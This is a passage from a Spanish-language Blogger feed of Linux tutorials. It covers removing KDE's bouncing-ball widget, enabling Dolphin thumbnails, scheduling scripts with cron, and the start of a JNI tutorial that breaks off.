&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjykmuWbvdsY1RGQBfbinb-EGXuzsca7aErNsAoNLsqjBO16vbcvL6Bf2r7qTFsyB7BnzpbbgNtIMLLfbl2AgbXXL8CTneHjRV3A9U7RMynl_pgFa4sId75FjmN9rXWbo_yElD3dfeYwi4t/s1600/pelotakde.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjykmuWbvdsY1RGQBfbinb-EGXuzsca7aErNsAoNLsqjBO16vbcvL6Bf2r7qTFsyB7BnzpbbgNtIMLLfbl2AgbXXL8CTneHjRV3A9U7RMynl_pgFa4sId75FjmN9rXWbo_yElD3dfeYwi4t/s1600/pelotakde.png&quot; height=&quot;287&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Con &lt;b&gt;rebote automático&lt;/b&gt; y con mucha &lt;b&gt;fuerza de rebote&lt;/b&gt;,y ni hablar si la encogemos a un&lt;b&gt; tamaño muy pequeño&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Su eliminación es casi imposible y no solo eso,crea un loop que consume mucho cpu :O&lt;br /&gt;
&lt;br /&gt;
Bien para eliminarla vamos a hacerlo desde la consola Konsole,la abrimos y escribimos:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Antes que nada cerramos lo mas importante que estemos haciendo por si algo sale mal:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Eliminamos el escritorio:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;kquitapp plasma-desktop&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Editamos la configuración:&lt;br /&gt;
&lt;br /&gt;
Con nuestro editor de texto favorito,por ejemplo vim(desde la misma terminal):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;vim ~/.kde/share/config/plasma-desktop-appletsrc&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
O desde un programa gráfico:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;kate ~/.kde/share/config/plasma-desktop-appletsrc &amp;amp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
o&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gedit ~/.kde/share/config/plasma-desktop-appletsrc &amp;amp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Buscamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;AutoBounceEnabled=&lt;span style=&quot;color: red;&quot;&gt;true&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikN0fDeprGVREl3vrHXvGxnSgGfXZeQJI4SqFsXhzjOfY0JiRW_V1WuXbci_YX8DshRXl3i49NCWu0-MqbHJ5AlF38C-GGS3rms-cTMPRjZO7nHxI2TGNwlYNUH3L74rkRBM6IETXb4eSb/s1600/configpelota.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikN0fDeprGVREl3vrHXvGxnSgGfXZeQJI4SqFsXhzjOfY0JiRW_V1WuXbci_YX8DshRXl3i49NCWu0-MqbHJ5AlF38C-GGS3rms-cTMPRjZO7nHxI2TGNwlYNUH3L74rkRBM6IETXb4eSb/s1600/configpelota.png&quot; height=&quot;238&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Y lo cambiamos por&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;AutoBounceEnabled=&lt;span style=&quot;color: red;&quot;&gt;false&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Reiniciamos plama:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;plasma-desktop&lt;/b&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Buscamos la pelota y ahora si la quitamos:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBvfDofymc6uU1XIIeVWn2p1ysQGwiH6TqJTZNi66XoYk_2DV9HMpOwOAALxHex7sbKMcxIrw9NJI7lz4eFbJlT-C3hjZpgz1j9crtaX5p0v_AoSNIK9-WsSzI63Vga1uZ2w9EfeO1T2n5/s1600/configpelota1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBvfDofymc6uU1XIIeVWn2p1ysQGwiH6TqJTZNi66XoYk_2DV9HMpOwOAALxHex7sbKMcxIrw9NJI7lz4eFbJlT-C3hjZpgz1j9crtaX5p0v_AoSNIK9-WsSzI63Vga1uZ2w9EfeO1T2n5/s1600/configpelota1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/4281874989585538067/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/07/eliminar-pelota-que-rebota-en-kde.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4281874989585538067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4281874989585538067'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/07/eliminar-pelota-que-rebota-en-kde.html' title='Eliminar Pelota que Rebota en KDE imposible'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjykmuWbvdsY1RGQBfbinb-EGXuzsca7aErNsAoNLsqjBO16vbcvL6Bf2r7qTFsyB7BnzpbbgNtIMLLfbl2AgbXXL8CTneHjRV3A9U7RMynl_pgFa4sId75FjmN9rXWbo_yElD3dfeYwi4t/s72-c/pelotakde.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-7113532849066813090</id><published>2014-07-10T16:36:00.000-05:00</published><updated>2014-07-10T16:36:37.950-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como reconocer"/><category scheme="http://www.blogger.com/atom/ns#" term="dophin"/><category scheme="http://www.blogger.com/atom/ns#" term="pdf"/><category scheme="http://www.blogger.com/atom/ns#" term="videos"/><title type='text'>Previsualizar Videos y Pdfs en Dolphin Ubuntu</title><content type='html'>&lt;b&gt;Dolphin&lt;/b&gt; muestra vistas previas de &amp;nbsp;varios archivos como fotos,texto,html,etc pero por defecto no muestra los &lt;b&gt;Videos&lt;/b&gt; y &lt;b&gt;PDF&lt;/b&gt;,por lo menos en Ubuntu 14.04 con KDE instalado,para poder ver vistas previas hay que hacer varias cosas las cuales muestro a continuación:&lt;br /&gt;
&lt;br /&gt;
1.Instalar lo necesario para ver thumbviews de Vídeos y PDF:&lt;br /&gt;
&lt;br /&gt;
Abrimos una terminal y escribimos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install kdegraphics-thumbnailers kffmpegthumbnailer&lt;/b&gt;&lt;/blockquote&gt;
2. Abrimos la configuración de Dolphin:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Preferencias Dolphin-&amp;gt;General-&amp;gt;Vistas Previas:&lt;/b&gt;&lt;/blockquote&gt;
Y activamos todo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqUSJmi-481ndAg1e62Pf8oozfFCktqV6aSATktx2KzsqXXTSWwEFDPfNTCKB7Ph-Ec_AAxK_uqaPPmtrYUHSE4dEINTWP1nQbwC2GqqR_6maCAJjCXIQLfvFRXoK-YrMzn7D7iRbRkqop/s1600/configuracion.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqUSJmi-481ndAg1e62Pf8oozfFCktqV6aSATktx2KzsqXXTSWwEFDPfNTCKB7Ph-Ec_AAxK_uqaPPmtrYUHSE4dEINTWP1nQbwC2GqqR_6maCAJjCXIQLfvFRXoK-YrMzn7D7iRbRkqop/s1600/configuracion.png&quot; height=&quot;315&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Por ultimo solo activamos el boton de vista previa del menu de Dolphin:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZpp4rk2NFDZHH_E-PtrP_Dh0_9IjWWj6ImbEYwDesr3JsN-Mf_01J29jAm8QFUmza6-SL5Do4GJ9p4cwlLGG2r6jgtoR_hw0f2v6ZbKp4LjQ4mExIvdHaAc9ZRBnuCkXRUmcudZq0itD1/s1600/vista+previa.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZpp4rk2NFDZHH_E-PtrP_Dh0_9IjWWj6ImbEYwDesr3JsN-Mf_01J29jAm8QFUmza6-SL5Do4GJ9p4cwlLGG2r6jgtoR_hw0f2v6ZbKp4LjQ4mExIvdHaAc9ZRBnuCkXRUmcudZq0itD1/s1600/vista+previa.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;Eso es todo,ejemplo :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjshBizRFSIpi3oW3Ndd7YYV569bUiCSY9zHFoRLaqXdXkalmjv80fTdpo0yTCx01A_eKdSXsWWlpqb9gldN4LWtvbCqYyJ65nIuI0q5y3oZc-7yynmvgKiytWxZn7V63TL0FXlk1ZZdMl/s1600/foto.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjshBizRFSIpi3oW3Ndd7YYV569bUiCSY9zHFoRLaqXdXkalmjv80fTdpo0yTCx01A_eKdSXsWWlpqb9gldN4LWtvbCqYyJ65nIuI0q5y3oZc-7yynmvgKiytWxZn7V63TL0FXlk1ZZdMl/s1600/foto.png&quot; height=&quot;220&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/7113532849066813090/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/07/previsualizar-videos-y-pdfs-en-dolphin.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/7113532849066813090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/7113532849066813090'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/07/previsualizar-videos-y-pdfs-en-dolphin.html' title='Previsualizar Videos y Pdfs en Dolphin Ubuntu'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqUSJmi-481ndAg1e62Pf8oozfFCktqV6aSATktx2KzsqXXTSWwEFDPfNTCKB7Ph-Ec_AAxK_uqaPPmtrYUHSE4dEINTWP1nQbwC2GqqR_6maCAJjCXIQLfvFRXoK-YrMzn7D7iRbRkqop/s72-c/configuracion.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-6936774404096692570</id><published>2014-06-10T18:32:00.001-05:00</published><updated>2014-06-10T18:33:36.083-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cron"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="scripts"/><category scheme="http://www.blogger.com/atom/ns#" term="tareas"/><category scheme="http://www.blogger.com/atom/ns#" term="unix"/><title type='text'>Como automatizar nuestros scripts con cron</title><content type='html'>Este &lt;b&gt;tutorial&lt;/b&gt; es para poder crear &lt;b&gt;scripts&lt;/b&gt; &quot;&lt;b&gt;croneados&lt;/b&gt;&quot;,cron viene de chronos(tiempo),así que podríamos decir que ejecutar scripts &lt;b&gt;cada cierto tiempo&lt;/b&gt;,pueden ser scripts en Bash,Perl,Awk o lo que sea,programas en C,C++,etc,mas que scripts son tareas o ordenes.&lt;br /&gt;
&lt;br /&gt;
Por eso se llama así la entrada ya que un &lt;b&gt;script&lt;/b&gt; son ordenes,mas que nada seria para ejecutar tareas importantes,como por ejemplo algo relacionado con apache,pero también podríamos poner recordatorios de cosas cotidianas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Cron&lt;/b&gt; es un demonio,en los sistemas de tipo &lt;b&gt;Unix&lt;/b&gt; es lo que se conoce como un proceso en segundo plano,cron estaría como &quot;vigilando&quot; el sistema cada cierto tiempo si es que se lo pidiéramos.&lt;br /&gt;
&lt;br /&gt;
Vamos a hacer un ejemplo,tenemos que hacer algo a las cinco de la tarde,y se nos olvida :\ para eso esta &lt;b&gt;cron&lt;/b&gt; &quot;a pequeña escala&quot; ya que no es un ejemplo muy bueno a menos que estemos todo el dia en la Pc,pero como podríamos crear un recordatorio en Linux?&lt;br /&gt;
&lt;br /&gt;
Para empezar usamos una notificación,este script sirve:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
2
3
4&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# Archivo :  ~/.scripts_cron/recordatorio.sh&lt;/span&gt;

notify-send &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Recordatorio importante&quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Por ejemplo lo vamos a guardar en&lt;b&gt; ~/.scripts_cron/&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Creamos el directorio:&lt;br /&gt;
&lt;br /&gt;
Desde terminal tecleamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;mkdir ~/.scripts_cron/&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Y lo guardamos con el nombre&lt;b&gt; recordatorio.sh&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Le debemos dar permiso de ejecución ya que &lt;b&gt;cron&lt;/b&gt; ejecuta ordenes(ejecutables):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;chmod +x ~/.scripts_cron/recordatorio.sh&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Luego como hacemos que se ejecute en una hora?&lt;br /&gt;
&lt;br /&gt;
Para esto usamos &lt;b&gt;crontab.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Para ello ejecutamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;crontab -e&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Nos abrirá la configuración de nuestro usuario con el editor de consola que tengamos en la variable de entorno EDITOR,para verla:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;echo $EDITOR&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Si no sale nada puede que el editor sea vi,para definir nano por ejemplo usamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;export EDITOR=gedit&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Si queremos que sea el editor de siempre,ejecutamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;echo &#39;export EDITOR=gedit&#39; &amp;gt;&amp;gt; ~/.bashrc&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #444444;&quot;&gt;Bien,incluso creo que &lt;b&gt;cron&lt;/b&gt; mismo da la opcion de elegir nuestro editor.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
La sintaxis de cron es esta:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;minuto&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;hora&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;dia&lt;/span&gt; mes &lt;span style=&quot;color: #444444;&quot;&gt;dia_semana&lt;/span&gt; &lt;span style=&quot;color: #351c75;&quot;&gt;ejecutable&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
Explico:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;minuto&lt;/span&gt;&lt;/b&gt; es en formato : 0 a 59 si desean siempre(cada minuto),usar *,si desean minutos específicos usar comas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;hora&lt;/span&gt;&lt;/b&gt; es en formato : 0 a 23 : 0 son las doce de la noche,las doce del dia son 12,ejecutar cada hora usar *,ejecutar horas seleccionadas usar comas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;dia&lt;/span&gt;&lt;/b&gt; es en formato : día de mes (1-31[dependiendo de los días del mes]),ejecutar todos los días usar *,ejecutar días seleccionados usar comas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;mes&lt;/b&gt; es en formato : 1 a 12 o las primeras tres letras del mes en ingles,para ejecutar todos los meses usar *,para ejecutar mas de un mes,usar comas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #444444;&quot;&gt;dia_semana&lt;/span&gt;&lt;/b&gt; es en formato : 0 a 6 (domingo es cero,lunes 1,etc),o usar las tres primeras letras del nombre en ingles,para todos los dias usar *,para mas de un dia usar comas.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #351c75;&quot;&gt;&lt;b&gt;ejecutable&lt;/b&gt;&lt;/span&gt; es en formato : /ruta_ejecutable&lt;br /&gt;
&lt;br /&gt;
Bien como ejecutamos el script a las 5 de la tarde,añadimos al final del archivo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;0 &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;17&lt;/span&gt;&lt;/b&gt; &lt;span style=&quot;color: red;&quot;&gt;*&lt;/span&gt; &lt;b&gt;*&lt;/b&gt;&lt;span style=&quot;color: #444444;&quot;&gt;&lt;b&gt; *&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #351c75;&quot;&gt; /home/tu_usuario/.scripts_cron/recordatorio.sh&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Eso es todo,ahora deberíamos ver el recordatorio a las cinco,antes que nos confiemos en esto vamos a probar ya que puede haber errores:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Error 1 &lt;b&gt;no esta activo el demonio&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
Para saber si esta activo ejecutamos en terminal:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;ps -ef | grep cron | grep -v grep&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Si no muestra nada lo reiniciamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo service cron restart&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Error 2&lt;b&gt; ejecutar programas con interfaz&amp;nbsp;gráfica&lt;/b&gt;:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si ejecutamos programas que se muestran en la pantalla debemos &lt;b&gt;setear&lt;/b&gt; la variable de entorno &lt;b&gt;DYSPLAY&lt;/b&gt; a &lt;b&gt;:0&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;env DISPLAY=:0&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;0 17 * * * &lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;env DISPLAY=:0&lt;/span&gt; /home/tu_usuario/.scripts_cron/recordatorio.sh&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Error 3 &lt;b&gt;nuestro usuario no puede ejecutar tareas con cron&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Puede que nuestro usuario este agregado al archivo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;/etc/cron.deny&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
Si es así no podemos ejecutar cron,asi que editamos el archivo como root.&lt;br /&gt;
&lt;br /&gt;
Por otro lado el fichero cron.allow permite a los usuarios que esten en el ejecutar cron.&lt;br /&gt;
&lt;br /&gt;
Lo malo es que basado en el sistema que usemos puede que este en distintos directorios,lo buscamos con:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo find / -name \cron.deny -type f&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Si muestra una ruta la editamos,si no no es este el problema.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Eso es todo,bueno antes de que acabe el tutorial debo aclarar que &lt;b&gt;crontab&lt;/b&gt; tiene variables especiales,pero no es muy buena idea usarlas ya que se pueden remplazar con la sintaxis mencionada,la unica variable que no tiene remplazo es la acción de que se ejecute cada vez que se reinicie la Pc:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;@reboot&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
Su uso es así:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;@reboot script_a_ejecutar&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Eso es todo :D&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/6936774404096692570/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/06/automatizar-nuestros-scripts-con-cron.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/6936774404096692570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/6936774404096692570'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/06/automatizar-nuestros-scripts-con-cron.html' title='Como automatizar nuestros scripts con cron'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-4578871364820453145</id><published>2014-06-07T17:27:00.000-05:00</published><updated>2014-06-07T17:27:26.870-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="java"/><category scheme="http://www.blogger.com/atom/ns#" term="jni"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><title type='text'>Tutorial JNI en Linux parte 1</title><content type='html'>Este es el primer tutorial de JNI este tutorial forma parte de los de Java solo que es aparte ya que si los escribiera hasta que alcanzáramos este &quot;nivel&quot; de programación seria tardado ya que es de nivel avanzado y en los tutoriales de Java vamos en el 9 de nivel básico,faltarían 11 para entrar en este tema,así que lo veremos de una vez.&lt;br /&gt;
&lt;br /&gt;
Bien primero que es &lt;b&gt;JNI&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;JNI&lt;/b&gt; son las siglas de de&lt;b&gt; Java Native Interface, &lt;/b&gt;JNI es un framework con el cual podemos ejecutar métodos nativos(escritos en &lt;b&gt;C,C++&lt;/b&gt; y &lt;b&gt;assembler&lt;/b&gt;),en la maquina virtual de Java,esto hace que podamos usar &amp;nbsp;soluciones de bajo nivel en un programa Java,la &lt;b&gt;JNI&lt;/b&gt; se usa para ejecutar código mas veloz que el que este ejecuta en su maquina virtual.&lt;br /&gt;
&lt;br /&gt;
Una consideración de &lt;b&gt;JNI&lt;/b&gt;,ademas de otras que existen es que si implementamos métodos nativos Java pierde su &quot;encanto&quot; de que se puede portar donde sea,ya que si abran trabajado con C,C++ sabrán que los programas se hacen específicos para las distintas arquitecturas.&lt;br /&gt;
&lt;br /&gt;
Una cosa buena de &lt;b&gt;JNI&lt;/b&gt; es que al aprender a usarlo también nos servirá con &lt;b&gt;Android&lt;/b&gt; cuando usemos el &lt;b&gt;NDK&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Antes de empezar,este espacio de trabajo usare:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sistema : Ubuntu 14.04 o Gentoo&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;Java version 8 : java version &quot;1.8.0_05&quot;&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
